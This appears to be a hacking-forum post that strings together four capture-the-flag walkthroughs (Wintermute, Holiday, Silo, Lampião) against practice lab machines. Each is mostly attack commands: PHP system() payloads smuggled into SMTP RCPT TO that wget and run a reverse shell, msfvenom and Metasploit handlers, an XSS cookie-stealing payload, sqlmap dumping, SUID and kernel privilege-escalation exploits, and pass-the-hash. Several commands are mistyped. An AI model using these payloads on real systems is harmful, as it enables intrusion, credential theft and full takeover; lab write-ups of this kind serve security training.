Login

**NINZA** · 05-14-2020, 09:35 AM

0			0

Hello friends! Today we are going to take another CTF challenge known as Wintermute (Part 1) and it is another boot2root challenge provided for practice. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Security Level: Intermediate
Author Note: There are 2 important things to note down for this lab

No buffer overflows or exploits development – any necessary password cracking can be done with small wordlists.
Straylight – simulates a public facing server with 2 NICs. Cap this first, then pivot to the final machine. Neuromancer – is within a non-public network with 1 NIC.

Imp Note: This lab has 2 parts. The 1st part comprises of gaining the root shell of the victim machine and subsequently pivoting to another machine.T o begin with, this is the 1st part of the lab; a post which we will publish the 2nd lab in upcoming days
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
HTTP service enumeration
Directory Traversal in the browser using Email log files
Exploiting OS command injection in RCPT option of SMTP
Generate PHP Backdoor (Msfvenom)
Execute the backdoor embedded in RCPT option
Reverse connection (Metasploit)
Import python one-liner for proper TTY shell
Identify the appropriate vulnerable SUID
Exploiting target (exploit 4115)
Get root access and capture the flag

WalkThrough
Let’s start off with scanning the network to find our target.
[Image: 0.png?w=687&ssl=1]

We found our target –> 192.168.1.124
Our next step is to scan our target with NMAP.
nmap -p- -A 192.168.1.124
1
nmap -p- -A 192.168.1.124
[Image: 1.png?w=687&ssl=1]

The NMAP output shows us that there are 3 ports opened: 25 (SMTP), 80 (HTTP), 3000
Browsed the URL

[To see content please register here]

and poked around; however, we were not able to get any significant clues to move forward
[Image: 2.png?w=687&ssl=1]

As we are aware that port 3000 is also opened on the victim machine, hence let’s try to access the website on a Non-standard HTTP port (3000) as follows :
Browse to

[To see content please register here]

and we will be greeted with the following page
[Image: 3.png?w=687&ssl=1]

As we can see a Hint at the bottom of the page, the default username and credentials are already provided to us! Let’s try to login to the page with them
Username: admin
Password: admin
[Image: 4.png?w=687&ssl=1]

On clicking the Flows option, we were redirected to the following page:
[Image: 5.png?w=687&ssl=1]

Here we observed few directories were listed (as shown in the screenshot above), hence we thought of appending them to our URL

[To see content please register here]

OR

[To see content please register here]

We tried accessing

[To see content please register here]

however no success. Then we browsed the URL

[To see content please register here]

and got below page
[Image: 6.png?w=687&ssl=1]

Click on Submit Query and we are redirected to the following page

[To see content please register here]

1

[To see content please register here]

From the above screenshot, we can see a few log files (as highlighted). Per our experience, this could be an indication of Directory traversal where we can execute writeable files in the browser. Hence let’s try to append ../../../log/mail to the URL in the browser as follows :

[To see content please register here]

1

[To see content please register here]

Now let’s try to enumerate further and connect to the SMTP (25) port
telnet 192.168.1.124 25
1
telnet 192.168.1.124 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and send the OS commands via the “RCPT TO” option.
MAIL FROM:<[email protected]>
220 straylight ESMTP Postfix (Debian/GNU)
250 2.1.0 Ok
RCPT TO:<?php system('whoami'); ?>
501 5.1.3 Bad recipient address syntax
1
2
3
4
5
MAIL FROM:<[email protected]>
220 straylight ESMTP Postfix (Debian/GNU)
250 2.1.0 Ok
RCPT TO:<?php system('whoami'); ?>
501 5.1.3 Bad recipient address syntax
[Image: 9.png?w=687&ssl=1]

Note: We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.
Now navigate back to the URL

[To see content please register here]

As depicted in the below screenshot of the browser, we can clearly see that mail logs files are displaying response output (www-data) of the Unix (OS) command whoami
[Image: 10.png?w=687&ssl=1]

Let’s generate a Reverse shell with the following command
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf > shell.elf
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf > shell.elf
Now run the web server on the Kali machine
python –m SimpleHTTPServer 80
1
python –m SimpleHTTPServer 80
[Image: 11.png?w=687&ssl=1]

As we got success in receiving the response of OS commands in the email log files, in a similar way there is a possibility that following this method, we may also get the Meterpreter access of the victim machine
Hence as seen in the below screenshot, we will pass the commands in RCPT command as follows :
1. Navigate to the/tmp directory and Download the shell.elf file from Kali machine
2. Modify the permissions of the shell.elf file
3.Execute our Reverse shell (shell.elf) file
RCPT TO:<?php system('cd /tmp; wget

[To see content please register here]

); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('chmod 777 /tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('/tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
1
2
3
4
5
6
RCPT TO:<?php system('cd /tmp; wget

[To see content please register here]

); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('chmod 777 /tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('/tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
[Image: 12.png?w=687&ssl=1]

Now in parallel, open the Metasploit console and perform the following
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
Awesome!! We got the Meterpreter session
Using sysinfo command, we found machine architecture details which may eventually help us to find out the kernel exploit for privilege escalation
sysinfo
1
sysinfo
[Image: 13.png?w=687&ssl=1]

Further, navigate to shell
shell
1
shell
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now let’s trigger the post-exploitation and try to get root access. Then by using the following command, we can enumerate all binaries having SUID permission.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
[Image: 14.png?w=687&ssl=1]

Per the above output, it has dumped all system binaries having SUID permissions; however /bin/screen-4.5.0 seems to be interesting. Therefore first let us begin escalating the root privileges
Upon searching exploit in kalilinux for the screen-4.5.0 exploit,
searchsploit screen 4.5.0
1
searchsploit screen 4.5.0
From given below image we can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.
[Image: 13.png?w=687&ssl=1]

When we didn’t find any appropriate method to execute this shell script for post exploitation, then we approached the manual compilation method and reviewed its code using cat command.
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
1
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
If you will notice the following code, then you will observe this script is written in C language and we have divided it into three parts for manual compilation.

Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
Copy Orange highlighted the code and past it in a text document and save it as rootshell.c

3.Copy the remaining code in notepad , to paste it for the latter part of the section (Compilation of C Program files)
[Image: 14.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside the file rootshell.c
[Image: 16.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside the file libhax.c
[Image: 17.png?w=687&ssl=1]

We will save the libhax.c and rootshell.c files in the Kali Desktop shell directory for further use. Here we can see the contents of both the files in the below image
[Image: 20.png?w=687&ssl=1]

Now go back to the Meterpreter session and upload the exploit files from Kali machine Meterpreter session to the /tmp directory of the target (victim) machine.
upload libhax.c /tmp
upload rootshell.c /tmp
1
2
upload libhax.c /tmp
upload rootshell.c /tmp
Further, navigate to shell
shell
1
shell
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Compilation of C Program files
Note: Refer to website

[To see content please register here]

for the below commands
Let’s compile our C program file manually in our local system using gcc as given below.
1. Compile libhax.c file through the following command.
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
1
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
2. Similarly, compile rootshell.c file through the following command.
gcc -o /tmp/rootshell /tmp/rootshell.c
1
gcc -o /tmp/rootshell /tmp/rootshell.c
[Image: 22.png?w=687&ssl=1]

Navigate to /etc directory and run the commands further
cd /etc
unmask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
1
2
3
4
cd /etc
unmask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
Proceed forward and access the /tmp/rootshell folder of the victim machine by typing :
/tmp/rootshell
1
/tmp/rootshell
Hurray !! We got into the root
Navigate to the root directory
cd /root
1
cd /root
Let’s see what file it contains
ls
1
ls
[Image: 23.png?w=687&ssl=1]

cat flag.txt
1
cat flag.txt
Wonderful!! We have gained access to the flag and hacked this box.
There seems to be another interesting file note.txt, let’s open the same and see what it contains
cat note.txt
1
cat note.txt
[Image: 24.png?w=687&ssl=1]

As we can see there is a clue (vulnerability) for the next part (part 2) of this lab
Stay tuned!! We will be back with the next part of another article!

Hello friends!! Today we are going to solve another CTF challenge “Holiday” which is available online for those who want to increase their skill in penetration testing and black box testing. Holiday is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.25 so let’s begin with nmap port enumeration.
nmap -A -p- 10.10.10.25 --open
1
nmap -A -p- 10.10.10.25 --open
From the given below image, you can observe we found port 22 and 8000 are open on the target system.
[Image: 1.png?w=687&ssl=1]

As port 8000 is running http we open the IP address in the browser and find a webpage.
[Image: 2.png?w=687&ssl=1]

We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb scan gives us a link to a directory called /login, we open the link and find a login page.
[Image: 4.png?w=687&ssl=1]

We capture the login request using burpsuite. We use random credentials as a placeholder.
[Image: 5.png?w=687&ssl=1]

We use sqlmap to check if it is vulnerable to SQL injection. After finding that it is vulnerable to SQL injection, we use sqlmap to dump the database and find a username “RickA” and password hash.
sqlmap -r sql.txt --dbms=SQLite -T users --columns --dump --batch
1
sqlmap -r sql.txt --dbms=SQLite -T users --columns --dump --batch
[Image: 6.png?w=687&ssl=1]

We use hashkiller.co.uk to decrypt the hash and find the password to the user.
[Image: 7.png?w=687&ssl=1]

We login using these credentials and we are redirected to a page with that looks like it contains useful information.
[Image: 8.png?w=687&ssl=1]

We click on one of the UUID links and find a page that we can post notes for the users. It also shows that it will take up to 1 minute to post the note.
[Image: 9.png?w=687&ssl=1]

We try to exploit the note function and find it is vulnerable xss. As the notes are being read by administrator XSS can be used to get the admin cookie. To run xss and run our payload we need to bypass the filter using javascript function String.fromCharCode to run our payload. I created this script

[To see content please register here]

to convert a string to ascii code.
[Image: 10.png?w=687&ssl=1]

We post the note to bypass the filter we have to use this payload:
<img src="x/><script>eval(String.CharCode(<payload>));</script>">
1
<img src="x/><script>eval(String.CharCode(<payload>));</script>">
[Image: 11.png?w=687&ssl=1]

We set up our listener using nc on port 80, as we will receive the response of the page including the administrator cookie on this port.
nc -lvp 80
1
nc -lvp 80
After waiting for 1 minute we received the admin cookie.
[Image: 12.png?w=687&ssl=1]

The cookie is URL encoded we decode and use it hijack the administrator session.
[Image: 13.png?w=687&ssl=1]

We capture the webpage’s request using burpsuite. We change our cookie with that of administrator and forward it.
[Image: 14.png?w=687&ssl=1]

As soon as we forward the request, we are able to successfully hijack the administrator session.
[Image: 15.png?w=687&ssl=1]

We now go to /admin directory and find a page where there are options to export bookings and notes.
[Image: 17.png?w=687&ssl=1]

We capture the request using burpsuite and check if it is vulnerable to any kind of injection. After enumerating we find that this page is vulnerable to command injection.
[Image: 18.png?w=687&ssl=1]

We are unable to get a shell using web_delivery module of Metasploit due to there being filters. Now we create a payload using msfvenom to upload into the target machine using command injection and get a reverse shell.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.14.8 lport=4444 –f elf > shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.14.8 lport=4444 –f elf > shell
After creating a shell, we create a python http server to upload into the target machine.
[Image: 19.png?w=687&ssl=1]

Now “.” Is not blacklisted so we convert the IP address into a decimal number so that we can bypass the filter.
[Image: 20.png?w=687&ssl=1]

We upload the shell using wget command into the target machine and save it in /tmp directory.
[Image: 21.png?w=687&ssl=1]

As soon as we run the command we get a prompt that shell is uploaded.
[Image: 22.png?w=687&ssl=1]

We give our payload read, write and execute permission using command injection.
Now we set up our listener using Metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 24.png?w=687&ssl=1]

We run the shell using command injection vulnerability on the target machine.
[Image: 25.png?w=687&ssl=1]

As soon as we run the shell we get a reverse shell.
[Image: 26.png?w=687&ssl=1]

We spawn a tty shell and take a look at the sudoers list and find that we can run /usr/bin/npm I * as root with no password.
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
1
2
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
[Image: 27.png?w=687&ssl=1]

Before trying to get root shell we first enumerate rest of the directories and find a file called “user.txt” in /home/algernon directory. We take a look at the content of the files and find the first flag.
[Image: 28.png?w=687&ssl=1]

Now we try to take root.txt we go to /app directory. We rename package.json to pack, and symlink /root/root.txt package.json
ln -s /root/root.txt package.json
1
ln -s /root/root.txt package.json
[Image: 29.png?w=687&ssl=1]

We run /usr/bin/npm i * as root user and find the final flag.
[Image: 30.png?w=687&ssl=1]

After searching through google we find a way to get reverse shell using a package called rimrafall.
[Image: 31.png?w=687&ssl=1]

We setup rimrafall by following the instructions given on the webpage.
[Image: 32.png?w=687&ssl=1]

We set up the JSON file and change the preinstalled script to bash one-liner.
[Image: 33.png?w=687&ssl=1]

We run the command as the root user to get a privileged shell.
sudo npm i rimrafall --unsafe
1
sudo npm i rimrafall --unsafe
[Image: 34.png?w=687&ssl=1]

We set up the listener as soon as we run the preinstalled shell is getting executed we get a reverse shell.
nc –nvlp 1234
1
nc –nvlp 1234
We go to /root directory and find a file called root.txt. We take a look at the content of the file and find the final flag.
[Image: 35.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Silo” which is available online for those who want to increase their skill in penetration testing and black box testing. Silo is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Steps Involved:

Post scanning to discover open ports
SID brute force
Credential brute force
Create payload
Setup listener
Upload shell with odat.py
Getting meterpreter shell
Finding user.txt
Downloading zip file from dropbox
Finding password hashes in memory dump
Privilege escalation using pass the hash technique
Finding root.txt

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.82 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.82
1
nmap -A 10.10.10.82
Fromthe given below image, you can observe we find only port 80, 135, 139, 445, 1521, 49152-49161 is open on the target system.
[Image: 1.png?w=687&ssl=1]

As port 80 is running http server we open the target machine’s ip address in our browser, and find that it contains the default IIS page.
[Image: 2.png?w=687&ssl=1]

We have oracle database listening remotely on port 1521, we need to find the valid SID and credentials in order to connect to the database.
We first need to get the SID for the oracle service, so we use metasploit to brute force the valid SID.
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/sid_brute) > run
1
2
3
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/sid_brute) > run
[Image: 5.png?w=687&ssl=1]

After finding the SID, we brute force the valid credentials using metasploit.
msf > use auxiliary/admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) > set sid XE
msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) > run
1
2
3
4
msf > use auxiliary/admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) > set sid XE
msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) > run
[Image: 6.png?w=687&ssl=1]

We are unable to get a shell with reverse_tcp, so we use the reverse_https payload. We create a 64-bit payload as the nmap scan shows us that the Operating system is 64-bit windows server.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx
1
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx
[Image: 7.png?w=687&ssl=1]

We set up our listener before upload the payload to the target machine.
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
[Image: 8.png?w=687&ssl=1]

We use this script called odat to further exploit the oracle database(you can download the script

[To see content please register here]

). As we have the valid credentials and the valid SID we use this to login into the database and upload our asp shell in the IIS default directory.
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba
1
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba
[Image: 9.png?w=687&ssl=1]

As soon as we run the shell on the target machine, we get a reverse shell.
[Image: 10.png?w=687&ssl=1]

Enumerating through the directories we find two files in “C:\Users\Phineas\Desktop” called “user.txt” and “Oracle issue.txt”. We take a look at the content of user.txt and find our first flag.
[Image: 11.png?w=687&ssl=1]

We take a look at the content of “Oracle issue.txt” and find a link to a dropbox and a password in which the first char is not being rendered by kali linux.
[Image: 12.png?w=687&ssl=1]

We find the unrecognized character to be the pound symbol (£). We use the password to login and find a zip file, we download the file into our system.
[Image: 13.png?w=687&ssl=1]

After downloading the zip file, we unzip it and find that it contains a memory dump. We use volatility tool to investigate the dump.
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
[Image: 14.png?w=687&ssl=1]

We now can dump the hashes by supplying the need address which is SYSTEM and SAM.
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000
[Image: 15.png?w=687&ssl=1]

As we have the password hash for “Administrator” we use Pass the Hash technique to get a privileged shell.
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set smbuser Administrator
msf exploit(windows/smb/psexec) > set smbpass <hash>
msf exploit(windows/smb/psexec) > set rhost 10.10.10.82
msf exploit(windows/smb/psexec) > run
1
2
3
4
5
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set smbuser Administrator
msf exploit(windows/smb/psexec) > set smbpass <hash>
msf exploit(windows/smb/psexec) > set rhost 10.10.10.82
msf exploit(windows/smb/psexec) > run
[Image: 16.png?w=687&ssl=1]

After getting a privileged shell, inside “C:\Users\Administrator\Desktop” we find a file called root.txt. We open root.txt and find the final flag.
[Image: 17.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Lampião: 1”. This VM is developed by Tiago Tavares, which is a standard Boot-to-Root challenge. Our goal is to get into the root directory and see the congratulatory message.
Level: Easy
Task: To Find The Final Flag.
Let’s Breach!!
The target holds 192.168.1.105 as network IP; now using nmap lets find out open ports.
nmap -p- -A 192.168.1.105
1
nmap -p- -A 192.168.1.105
[Image: 1.png?w=687&ssl=1]

Nmap scan shows us port 22, 80, 1898 are open, so we thought of opening the IP address along with the port 1898 in our browser. It also gave us a clue about the webpage that it has Drupal running on it.
[Image: 2.png?w=687&ssl=1]

From the previous clue, we thought of exploiting it by using exploit drupal_drupalgeddon2.
msf > user explot/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
1
2
3
4
msf > user explot/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
Booyah!! We have got the meterpreter, therefore we thought of checking the description about Victim’s Machine by using the command:
lsb_release -a
1
lsb_release -a
The description gave us a very strong hint from the Version Number of the Victim’s Machine for our Next Step.
[Image: 3.png?w=687&ssl=1]

After a long search using the earlier clue about the Version Number, We have finally found the exploit that we were looking for and we have downloaded it on our machine.
[Image: 4.png?w=687&ssl=1]

Side by Side we have executed a python server which will help us to download the exploit over Victim’s Machine.
[Image: 5.png?w=687&ssl=1]

We have download this file on server’s /tmp (universal writeable) directory. Since the exploit is in .cpp format, therefore, to compile and execute it, there were specific commands given in the code of the exploit. This gave us a hint on how to compile and execute the exploit 40847.ccp.
Boom, we got the root shell! Let’s read the flag now.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow
./dcow -s
1
2
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow
./dcow -s

cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 6.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis